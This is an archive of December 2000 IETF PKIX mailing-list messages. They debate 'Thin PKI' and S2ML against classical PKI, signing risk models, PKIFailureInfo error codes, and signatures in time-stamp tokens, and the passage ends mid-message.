Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA14585 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 12:57:07 -0800 (PST)
Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id PAA17008; Fri, 15 Dec 2000 15:59:57 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com
Message-Id: <v04220802b660338b1fb9@[171.78.30.107]>
In-Reply-To: <013101c066c3$d63b4bc0$0201a8c0@vincent.se>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <v04220800b65fe2367041@[171.78.30.107]> <013101c066c3$d63b4bc0$0201a8c0@vincent.se>
Date: Fri, 15 Dec 2000 15:55:18 -0500
To: "Anders Rundgren" <anders.rundgren@telia.com>
From: Stephen Kent <kent@bbn.com>
Subject: Re: Classic PKI vs Thin PKI/S2ML
Cc: "PKIX-List" <ietf-pkix@imc.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 7:21 PM +0100 12/15/00, Anders Rundgren wrote:
>Steve,
>
>  > This sort of marketing rhetoric has no place on an IETF mailing list,
>  > including this one. If you can't restrict your contributions to
>  > technical discussions, we'll have to ask you to not pot to this list.
>
>Pardon me, I got a little bit carried away.
>
>But, are you *really* prepared to openly discuss the problems with 
>classical PKI
>versus Thin PKI, S2ML, OBI and 3D-SSL?

>If so, please comment the section of my posting mentioning banks, as 
>this is something practically
>all in this list have some knowledge with.  As this is a very 
>complex subject (my usual
>Thin PKI seminar is 2-3 hours!), it is though very important to stay 
>exactly on the track,
>otherwise the discussion will deteriorate in no time at all. 
>Unfortunately I don't think
>that any of the main forces behind S2ML, OBI or 3D-SSL are interested in
>"The war of the PKIs", but we'll see.   And in the same way as with PKIXML, I
>care more about "marketability" and "deploymentability" than if 
>something is the
>"most secure solution in the world".  Sweden actually had the most 
>secure solution in
>the world: The SEIS electronic ID-card.  Unfortunately it is fairly 
>useless and expensive,
>and therefore very few have it.

The financial community has a set of concerns that are entirely 
valid, and are NOT the whole of PKI. Lynn Wheeler, who just 
contributed to this discussion, pursues PKI issues in ANSI F9, a 
standards committee devoted to that application area.

PKIX addresses a broader set of PKI users and does not tailor 
standards to meet requirements of a given application arena, even if 
it is a very, very big arena. This, for example, we will not address 
PKI problems that are cast narrowly as financial transactions or cell 
phone problems, etc. The delegated path validation/discovery work 
that we are now doing is not narrowly cast, even though it may be 
very applicable to wireless users, etc. This desire to not be driven 
by specific application domains is NOT a PKIX-uniqye. For example, 
TCP/IP could be reworked from the ground up to better accommodate 
wireless users, but that's not likely to happen. The IPsec WG 
rejected the notion of changing ESP to better accommodate satellite 
and low speed wireless users.

The minutes of the WG meeting, plus Phil's slides, should indicate 
that there was no enthusiasm expressed there for mere syntactic 
transliteration of ASN.1 to XML. Phil observed that the XKMS 
initiative that he described is likely to be pursued in another 
forum, e.g., the W3C, based on feedback from the security ADs.

Steve



Received: from emerald.lightlink.com (emerald.lightlink.com [205.232.34.14]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id MAA13507 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 12:37:40 -0800 (PST)
Received: from chrisf (perm70-18.ij.net [209.216.70.18] (may be forged)) by emerald.lightlink.com (8.8.8/8.8.8) with SMTP id PAA21632; Fri, 15 Dec 2000 15:40:31 -0500
From: "Christopher S. Francis" <chris.francis@wetstonetech.com>
To: "Ietf-Pkix" <ietf-pkix@imc.org>
Cc: "Mike Duren" <mike@wetstonetech.com>
Subject: Need clarification on rules for signatures in Time Stamp Tokens
Date: Fri, 15 Dec 2000 15:53:22 -0500
Message-ID: <NEBBKNLKHMMPAKLAPDMDKEJECBAA.chris.francis@wetstonetech.com>
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="----=_NextPart_000_0000_01C066AF.26C63DD0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300

This is a multi-part message in MIME format.

------=_NextPart_000_0000_01C066AF.26C63DD0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

I’m hoping to get a little clarification here.  Page 6 of the TSP document
says “The time stamp token MUST NOT contain any signatures other than the
signature of the TSA”.  Does this apply to signed data objects that appear
in the extensions list?  The extensions are obviously part of the token, but
it seems rather restrictive to mandate that if some type of signed extension
is used, it MUST be signed by the TSA.

Chris Francis
WetStone Technologies, Inc.

------=_NextPart_000_0000_01C066AF.26C63DD0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<meta name=3DProgId content=3DWord.Document>
<meta name=3DGenerator content=3D"Microsoft Word 9">
<meta name=3DOriginator content=3D"Microsoft Word 9">
<link rel=3DFile-List href=3D"cid:filelist.xml@01C066AF.0A505280">
<!--[if gte mso 9]><xml>
 <o:OfficeDocumentSettings>
  <o:DoNotRelyOnCSS/>
 </o:OfficeDocumentSettings>
</xml><![endif]--><!--[if gte mso 9]><xml>
 <w:WordDocument>
  <w:View>Normal</w:View>
  <w:Zoom>0</w:Zoom>
  <w:DocumentKind>DocumentEmail</w:DocumentKind>
  <w:EnvelopeVis/>
 </w:WordDocument>
</xml><![endif]-->
<style>
<!--
 /* Font Definitions */
@font-face
	{font-family:"Comic Sans MS";
	panose-1:3 15 7 2 3 3 2 2 2 4;
	mso-font-charset:0;
	mso-generic-font-family:script;
	mso-font-pitch:variable;
	mso-font-signature:647 0 0 0 159 0;}
 /* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{mso-style-parent:"";
	margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
h1
	{mso-style-next:Normal;
	margin-top:12.0pt;
	margin-right:0in;
	margin-bottom:3.0pt;
	margin-left:0in;
	mso-pagination:widow-orphan;
	page-break-after:avoid;
	mso-outline-level:1;
	font-size:16.0pt;
	font-family:Arial;
	mso-font-kerning:16.0pt;}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;
	text-underline:single;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;
	text-underline:single;}
p.MsoAutoSig, li.MsoAutoSig, div.MsoAutoSig
	{margin:0in;
	margin-bottom:.0001pt;
	mso-pagination:widow-orphan;
	font-size:12.0pt;
	font-family:"Times New Roman";
	mso-fareast-font-family:"Times New Roman";}
span.EmailStyle15
	{mso-style-type:personal-compose;
	mso-ansi-font-size:12.0pt;
	mso-ascii-font-family:"Comic Sans MS";
	mso-hansi-font-family:"Comic Sans MS";
	mso-bidi-font-family:Arial;
	color:black;}
p.Heading1NoTOC, li.Heading1NoTOC, div.Heading1NoTOC
	{mso-style-name:"Heading 1 No TOC";
	mso-style-parent:"Heading 1";
	margin-top:12.0pt;
	margin-right:0in;
	margin-bottom:3.0pt;
	margin-left:0in;
	text-align:center;
	mso-pagination:widow-orphan;
	page-break-after:avoid;
	mso-outline-level:1;
	font-size:14.0pt;
	mso-bidi-font-size:10.0pt;
	font-family:Arial;
	mso-fareast-font-family:"Times New Roman";
	mso-bidi-font-family:"Times New Roman";
	mso-font-kerning:14.0pt;
	font-weight:bold;
	mso-bidi-font-weight:normal;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;
	mso-header-margin:.5in;
	mso-footer-margin:.5in;
	mso-paper-source:0;}
div.Section1
	{page:Section1;}
-->
</style>
</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple =
style=3D'tab-interval:.5in'>

<div class=3DSection1>

<p class=3DMsoNormal><span class=3DEmailStyle15><font size=3D3 =
color=3Dblack
face=3D"Comic Sans MS"><span =
style=3D'font-size:12.0pt;font-family:"Comic Sans MS"'>I&#8217;m
hoping to get a little clarification here.<span style=3D"mso-spacerun:
yes">&nbsp; </span>Page 6 of the TSP document says &#8220;The time stamp =
token MUST
NOT contain any signatures other than the signature of the =
TSA&#8221;.<span
style=3D"mso-spacerun: yes">&nbsp; </span>Does this apply to signed data =
objects
that appear in the extensions list?<span style=3D"mso-spacerun: =
yes">&nbsp;
</span>The extensions are obviously part of the token, but it seems =
rather
restrictive to mandate that if some type of signed extension is used, it =
MUST
be signed by the TSA.<o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><span class=3DEmailStyle15><font size=3D3 =
color=3Dblack
face=3D"Comic Sans MS"><span =
style=3D'font-size:12.0pt;font-family:"Comic Sans MS"'><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></span></font></span></p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'>Chris Francis</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

<p class=3DMsoNormal><font size=3D3 color=3Dblack face=3D"Times New =
Roman"><span
style=3D'font-size:12.0pt;color:black'>WetStone Technologies, =
Inc.</span></font><font
color=3Dblack><span =
style=3D'color:black;mso-color-alt:windowtext'><o:p></o:p></span></font><=
/p>

</div>

</body>

</html>

------=_NextPart_000_0000_01C066AF.26C63DD0--



Received: from certplus.com ([195.101.88.81]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id LAA09542 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 11:27:23 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.8.7/8.8.7) with ESMTP id UAA11440 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 20:33:15 +0100
Message-ID: <3A3A7120.D0CFDF0B@certplus.com>
Date: Fri, 15 Dec 2000 20:29:36 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
CC: ietf-pkix <ietf-pkix@imc.org>
Subject: Re: PKIFailureInfo : Internal Error
References: <4.2.0.58.20001215125527.00c26360@mail.phaos.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ari Kermaier wrote:

> The PKIFailureInfo structure described in draft-ietf-pkix-rfc2510bis-02
> includes systemFailure(25) which, while not very descriptive, might fit the
> bill for hardware failure.

It didn't read that draft before posting.

It should be considered, whenever possible, to include this value into the list
of acceptables values for the other drafts that use a PKIFailureInfo.



Received: from maila.telia.com (maila.telia.com [194.22.194.231]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA05102 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 10:20:06 -0800 (PST)
Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by maila.telia.com (8.9.3/8.9.3) with ESMTP id TAA02422; Fri, 15 Dec 2000 19:22:57 +0100 (CET)
Received: from mega (t7o69p177.telia.com [213.65.46.177]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBFIMto09165; Fri, 15 Dec 2000 19:22:56 +0100 (CET)
Message-ID: <013101c066c3$d63b4bc0$0201a8c0@vincent.se>
From: "Anders Rundgren" <anders.rundgren@telia.com>
To: "Stephen Kent" <kent@bbn.com>
Cc: "PKIX-List" <ietf-pkix@imc.org>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <v04220800b65fe2367041@[171.78.30.107]>
Subject: Classic PKI vs Thin PKI/S2ML
Date: Fri, 15 Dec 2000 19:21:23 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id KAA05103

Steve,

> This sort of marketing rhetoric has no place on an IETF mailing list, 
> including this one. If you can't restrict your contributions to 
> technical discussions, we'll have to ask you to not pot to this list.

Pardon me, I got a little bit carried away.

But, are you *really* prepared to openly discuss the problems with classical PKI
versus Thin PKI, S2ML, OBI and 3D-SSL?

If so, please comment the section of my posting mentioning banks, as this is something practically
all in this list have some knowledge with.  As this is a very complex subject (my usual
Thin PKI seminar is 2-3 hours!), it is though very important to stay exactly on the track,
otherwise the discussion will deteriorate in no time at all.  Unfortunately I don't think
that any of the main forces behind S2ML, OBI or 3D-SSL are interested in 
"The war of the PKIs", but we'll see.   And in the same way as with PKIXML, I
care more about "marketability" and "deploymentability" than if something is the
"most secure solution in the world".  Sweden actually had the most secure solution in
the world: The SEIS electronic ID-card.  Unfortunately it is fairly useless and expensive,
and therefore very few have it.

Regards
Anders Rundgren
co-founder
X-OBI



Received: from mail.phaos.com ([206.30.74.234]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA01948 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 09:51:11 -0800 (PST)
Received: from phaos_arik (ruskie.spacerat.com [207.51.38.135]) by mail.phaos.com (8.9.2/8.9.2) with ESMTP id QAA83909; Fri, 15 Dec 2000 16:44:46 -0500 (EST) (envelope-from arik@phaos.com)
Message-Id: <4.2.0.58.20001215125527.00c26360@mail.phaos.com>
X-Sender: arik@mail.phaos.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 15 Dec 2000 12:57:34 -0500
To: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>, ietf-pkix <ietf-pkix@imc.org>
From: Ari Kermaier <arik@phaos.com>
Subject: Re: PKIFailureInfo : Internal Error
In-Reply-To: <3A3A3F27.CEC2020D@certplus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed

The PKIFailureInfo structure described in draft-ietf-pkix-rfc2510bis-02 
includes systemFailure(25) which, while not very descriptive, might fit the 
bill for hardware failure.

::Ari

>Hi,
>
>The PKIFailureInfo that is present is several pkix standards, rfc2510,
>time-stamp, etc ... does not provide a way for the entity that sends the
>response to signal that it has encountered an internal error that
>prevents its from being able to answer succesfully to the request,
>despite the fact there is nothing invalid in the request.
>
>In case none of the suggested errors applies, there's no generic error
>to send back.
>
>If you are wondering, I was looking for the adequate error code that
>should be returned if the entity detects a failure of the hardware token
>it uses to sign data, but many other internal errors can be encountered
>...



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id JAA01251 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 09:24:04 -0800 (PST)
Received: from [171.78.30.107] (comsec.bbn.com [171.78.30.107]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id KAA26401; Fri, 15 Dec 2000 10:10:11 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com
Message-Id: <v04220800b65fe2367041@[171.78.30.107]>
In-Reply-To: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se>
Date: Fri, 15 Dec 2000 10:02:22 -0500
To: "Anders Rundgren" <anders.rundgren@telia.com>
From: Stephen Kent <kent@bbn.com>
Subject: Re: Thin PKI won - You lost
Cc: "PKIX-List" <ietf-pkix@imc.org>
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 11:31 AM +0100 12/15/00, Anders Rundgren wrote:
>Hi Steve,
>Do you remember the debate I started some 18 months ago when I launched the
>"Thin PKI"/CyberPhone concept in this list?
>
>    http://www.mobilephones-tng.com/v100/dynamiccerts.html
>
>The concept in a nutshell: When you engage in inter-organizational 
>activities you let an
>"organization server" vouch for its employees (clients) by signing 
>(AC-like) credentials on the fly for
>authentication, and signing outgoing transactions on the clients 
>request. All this without using
>any direct PKI-based "connection" between the client and the RP. 
>BTW, the client does
>not even have to use PKI!
>
>You claimed that this was a bad idea, while I claimed that this is 
>"the future for PKI".
>
>After reading the S2ML-draft 0.7a I can inform you that this 
>specification, which is supported by
>VeriSign, RSA etc. use exactly this scheme for authentications and 
>authorizations.  And so does
>BTW VISA's coming 3D-SSL payment solution as well.
>
>                                  Any comments? :-) :-)

Bad ideas are patentable, marketable, and may even be successful. 
What's your point?

>
>My guess is that this will in a couple of years, smash quite a few 
>PKI-projects into pieces!
>
>For those who are engaged in federal or national PKIs, and Bridge-CAs etc.:
>
>                    === You are very likely to be on the wrong track! ===
>
>We need thin "interoperable domains" (VISA's term) between 
>organizations, not giant PKIs where
>"everybody is talking to everybody" (certificate-wise).  The banks 
>use the former model, and although
>banks cannot be accused for being hi-tech, they have anyway 
>succeeded in doing advanced O2O/B2B-things
>(even globally), supporting millions of ordinary users on the 
>Internet,  which none of the many
>government-sponsored PKI-programs have achieved, or will ever 
>achieve using current PKI-models.
>
>Signature archival is a built-in feature using Thin PKI, instead of 
>something that
>you with great pains "glue" to a basically broken system.
>
>The term "Thin PKI" was coined by me to denote the fact that you 
>with a single cert+key could
>"do anything" you'll ever need.  It could actually be extended to 
>organizations as well.
>
>That interoperability becomes a no-issue (at least compared to the 
>"classical" PKI approach), is
>the fact that a single commercial TTP can w.o. problems certify 
>millions of organizations.
>I.e. much of this CA policy-stuff that some organizations are 
>working with is in vain as most
>organizations will buy pre-packaged products.  "Trust" is actually 
>something that has to be created within
>organizations and that is (except for a few die-hard PKIers), 
>virtually independent on CA policies.
>
>Anders Rundgren
>co-founder
>X-OBI
>+46 70 - 627 74 37


This sort of marketing rhetoric has no place on an IETF mailing list, 
including this one. If you can't restrict your contributions to 
technical discussions, we'll have to ask you to not pot to this list.

Steve



Received: from certplus.com ([195.101.88.81]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA25690 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 07:53:55 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.8.7/8.8.7) with ESMTP id RAA09463 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 17:00:03 +0100
Message-ID: <3A3A3F27.CEC2020D@certplus.com>
Date: Fri, 15 Dec 2000 16:56:23 +0100
From: Jean-Marc Desperrier <jean-marc.desperrier@certplus.com>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: ietf-pkix <ietf-pkix@imc.org>
Subject: PKIFailureInfo : Internal Error
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi,

The PKIFailureInfo that is present is several pkix standards, rfc2510,
time-stamp, etc ... does not provide a way for the entity that sends the
response to signal that it has encountered an internal error that
prevents its from being able to answer succesfully to the request,
despite the fact there is nothing invalid in the request.

In case none of the suggested errors applies, there's no generic error
to send back.

If you are wondering, I was looking for the adequate error code that
should be returned if the entity detects a failure of the hardware token
it uses to sign data, but many other internal errors can be encountered
...



Received: from mail01-ewr.pilot.net (mail-ewr-1.pilot.net [206.98.230.18]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA21678 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 07:24:32 -0800 (PST)
From: Lynn.Wheeler@firstdata.com
Received: from mailgw.firstdata.com ([204.48.27.156]) by mail01-ewr.pilot.net with ESMTP id KAA00326; Fri, 15 Dec 2000 10:27:23 -0500 (EST)
Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id KAA13512; Fri, 15 Dec 2000 10:27:21 -0500 (EST)
Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569B6.0054CF1F ; Fri, 15 Dec 2000 10:26:20 -0500
X-Lotus-FromDomain: FDC
To: Camillo S=?iso-8859-1?Q?=E4rs?= <Camillo.Sars@F-Secure.com>
cc: Anders Rundgren <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org>
Message-ID: <852569B6.0054CC75.00@lnsunr02.fl.firstdata.com>
Date: Fri, 15 Dec 2000 08:24:19 -0800
Subject: Re: Thin PKI won - You lost
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

>the response (to the merchant) doesn't currently have to be signed
>for authentication purposes because it comes in via a trusted network.
>One could imagine migration to a non-trusted network implementation
>for the response ... reguiring signed authentication. However, because
>of the required prior business relationships there isn't a requirement for
>offline trust propogation, the public key of the responding merchant
>financial entity is simply installed at the merchant (possibly in a manner
>similar to the way that root public keys are delivered in browsers,
>but under somewhat more strict business controls).

of course one could quibble whether the above referenced signed response is a
thin certificate or not. it could look & taste like a thin certificate ... the
primary business difference between a thin certificate and a signed transactions
... is one (the certificate) is signed before the transaction (and might
possibly be used for multiple transactions) and the other (signed transaction)
is specific to the current transactions. In effect, the thin certificate has the
liable party signing something for offline trust propogation that they might not
have exact knowledge of before hand. As a thin PKI makes more & more of the
transition to online ... it eventually crosses the business line from doing
pre-authorized signatures to signing the actual transactions.






Received: from mail01-ewr.pilot.net (mail-ewr-1.pilot.net [206.98.230.18]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA19155 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 07:10:50 -0800 (PST)
From: Lynn.Wheeler@firstdata.com
Received: from mailgw.firstdata.com ([204.48.27.156]) by mail01-ewr.pilot.net with ESMTP id KAA24737; Fri, 15 Dec 2000 10:13:41 -0500 (EST)
Received: from lnsunr02.fl.firstdata.com (localhost [127.0.0.1]) by mailgw.firstdata.com with SMTP id KAA11700; Fri, 15 Dec 2000 10:13:40 -0500 (EST)
Received: by lnsunr02.fl.firstdata.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id 852569B6.00539018 ; Fri, 15 Dec 2000 10:12:43 -0500
X-Lotus-FromDomain: FDC
To: Camillo S=?iso-8859-1?Q?=E4rs?= <Camillo.Sars@F-Secure.com>
cc: Anders Rundgren <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org>
Message-ID: <852569B6.00538CCB.00@lnsunr02.fl.firstdata.com>
Date: Fri, 15 Dec 2000 07:52:23 -0800
Subject: Re: Thin PKI won - You lost
Mime-Version: 1.0
Content-type: multipart/mixed;  Boundary="0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz"
Content-Disposition: inline

--0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline




in retail electronic transactions ... not only is "identity" fairly irrelevent
... it represents privacy compromise

that is one reason that some of the european parties a couple years ago went to
"relying-party-only" certificates ...  we've been able to show for 3-4 years
that using certificate compression techniques that such certificates can be
highly  compressed to zero bytes (superfulous and redundant to repeatedly resend
copies of information to the relying party that has the original copy of the
information).

the real issue is does any of the transactions have to be offline. the analogy
is the business paper checks of the '60s that had signing limits ... until they
found that people were signing 200 individual checks to achieve their results.

certificates (of whatever kind) represent offline trust propogation between
entities with no prior business relationship. as online becomes more & more
prevalent and online costs drop, the threshold justifying not doing things
online is dropping. the typical current day replacement for the '60s signing
limit paper checks is a corporate purchase card, akin to a form of (online,
electronic) credit card, that in addition to the familiar credit limit (i.e.
real time aggregated balance), also can have business rules about things like
merchant type, specific merchant, merchant location, and SKU (product) codes.

x9.59 (financial industry standard for all electronic account-based retail
transactions) addresses all of this.

the response (to the merchant) doesn't currently have to be signed for
authentication purposes because it comes in via a trusted network. One could
imagine migration to a non-trusted network implementation for the response ...
reguiring signed authentication. However, because of the required prior business
relationships there isn't a requirement for offline trust propogation, the
public key of the responding merchant financial entity is simply installed at
the merchant (possibly in a manner similar to the way that root public keys are
delivered in browsers, but under somewhat more strict business controls).

one way of characterising a much thiner form of PKI uses highly optimized
compression techniques for redundant and superfulous information transmission
reducing certificate size to zero bytes in cases of online transaction between
entities with prior business relationship (i.e. in the retail transaction
scenerio, there is a consumer instruction to the consumer's financial
institution, and the response is an instruction from the merchant's financial
institution to the merchant).

the transaction value threshold for offline trust propogation involving
certificates that haven't been compressed to zero bytes is dropping as online
becomes more & more ubiquitous and the corresponding cost of online drops.





Camillo S
--0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz
Content-type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-transfer-encoding: quoted-printable


=E4rs <Camillo.Sars@F-Secure.com> on 12/15/2000 04:46:17 AM



I tend to agree with you.  For most on-line transactions, the concept o=
f
"identity" is fairly irrelevant - the real issue for the relying party =
is
the authorization to perform an action.  Once the high-level legal trus=
t
relationships exist [Read: "If you cheat, we will sue you out of
business."], the remaining issues are mostly about transferring
authorization - delegation - and avoiding fraud by the users.




=

--0__=SXhONIMCTN4tuvYKOACKG1cg7UeO09ZiAW1vGJhBpKvYwzStT7KPllSz--



Received: from ns.caldera.de (ns.caldera.de [212.34.180.1]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA16799 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 06:34:51 -0800 (PST)
Received: (from daemon@localhost) by ns.caldera.de (8.9.3/8.9.3) id PAA03361; Fri, 15 Dec 2000 15:36:57 +0100
Received: from monad.caldera.de(212.34.180.129) via SMTP by ns.caldera.de, id smtpdkgY89f; Fri Dec 15 15:36:56 2000
Received: (from okir@localhost) by monad.caldera.de (8.9.3/8.9.3) id PAA26114; Fri, 15 Dec 2000 15:37:54 +0100
Date: Fri, 15 Dec 2000 15:37:53 +0100
From: Olaf Kirch <okir@caldera.de>
To: =?iso-8859-1?Q?Camillo_S=E4rs?= <Camillo.Sars@F-Secure.com>
Cc: Anders Rundgren <anders.rundgren@telia.com>, PKIX-List <ietf-pkix@imc.org>
Subject: Re: S2ML, Thin PKI and SPKI
Message-ID: <20001215153753.N24805@monad.caldera.de>
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <3A3A1299.8E5A54AD@F-Secure.com> <006b01c0669a$745aac30$0201a8c0@vincent.se> <3A3A1FAD.376BC972@F-Secure.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.2.5i
In-Reply-To: <3A3A1FAD.376BC972@F-Secure.com>; from Camillo.Sars@F-Secure.com on Fri, Dec 15, 2000 at 03:42:05PM +0200

On Fri, Dec 15, 2000 at 03:42:05PM +0200, Camillo Särs wrote:
> I wasn't really focusing on that, but rather on the risk model.  Any model
> that allows almost arbitrary "contracts" to be signed without discretion
> are just too risky for real-life implementation.

I've started becoming interested in X.509 stuff only quite recently, but
all standards/drafts/etc I've read so far failed to mention the risk of
client platform compromise. This had me baffled quite a bit. The threat
is nothing new (see Kerberos' TGTs), so does this mean that e.g. PKIX
certificates are never supposed to be used on ordinary PCs?

Olaf
-- 
Olaf Kirch         |  --- o --- Nous sommes du soleil we love when we play
okir@monad.swb.de  |    / | \   sol.dhoop.naytheet.ah kin.ir.samse.qurax
okir@caldera.de    +-------------------- Why Not?! -----------------------
         UNIX, n.: Spanish manufacturer of fire extinguishers.            


Received: from dfmail.f-secure.com (dfmail.f-secure.com [194.252.6.39]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA15138 for <ietf-pkix@imc.org>; Fri, 15 Dec 2000 05:38:33 -0800 (PST)
Received: (qmail 3594 invoked by uid 0); 15 Dec 2000 13:41:23 -0000
Received: from fsinterface.f-secure.com (HELO fsfwfi01) (194.252.6.33) by dfmail.f-secure.com with SMTP; 15 Dec 2000 13:41:23 -0000
Received: (qmail 20833 invoked from network); 15 Dec 2000 13:41:22 -0000
Received: from fs129-092.f-secure.com (HELO F-Secure.com) (10.128.129.92) by dfintra.f-secure.com with SMTP; 15 Dec 2000 13:41:22 -0000
Message-ID: <3A3A1FAD.376BC972@F-Secure.com>
Date: Fri, 15 Dec 2000 15:42:05 +0200
From: Camillo =?iso-8859-1?Q?S=E4rs?= <Camillo.Sars@F-Secure.com>
Organization: F-Secure Corporation
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: sv-FI,sv,en,fi,fr
MIME-Version: 1.0
To: Anders Rundgren <anders.rundgren@telia.com>
CC: PKIX-List <ietf-pkix@imc.org>
Subject: Re: S2ML, Thin PKI and SPKI
References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <3A3A1299.8E5A54AD@F-Secure.com> <006b01c0669a$745aac30$0201a8c0@vincent.se>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Anders Rundgren wrote:
> The reason for having the on-line trusted party (sort of real-time 
> attribute CA) is that it can generate whatever credential you need, when 
> you need it, and without any distribution or installation.

Quite useful, you are right.  But still - there are cases where generating
some credentials beforehand makes sense.  Which means that it makes sense
to allow it.  And "sense" here is "business sense".

> > and what you effectively have is very close the semantics of SPKI.
> 
> But without the distribution hassles.

Agreed.

> > In certificate systems where authorizations are higly granular, atomic and
> > limited, the risk introduced by improper use of a private key or the
> > compromise of the signing system is significantly smaller.
> 
> Actually I am much less confident that S2ML's authorization system will 
> be that popular,

I wasn't really focusing on that, but rather on the risk model.  Any model
that allows almost arbitrary "contracts" to be signed without discretion
are just too risky for real-life implementation.  The scope of the
authorization granted by the certificate should be minimal, not maximal as
in current X.509-based solutions.  Get a suitable trojan onto a user's
system, and you can sell his house, his car and make him file for divorce.
I, for one, won't be getting any certificates with that risk model. No
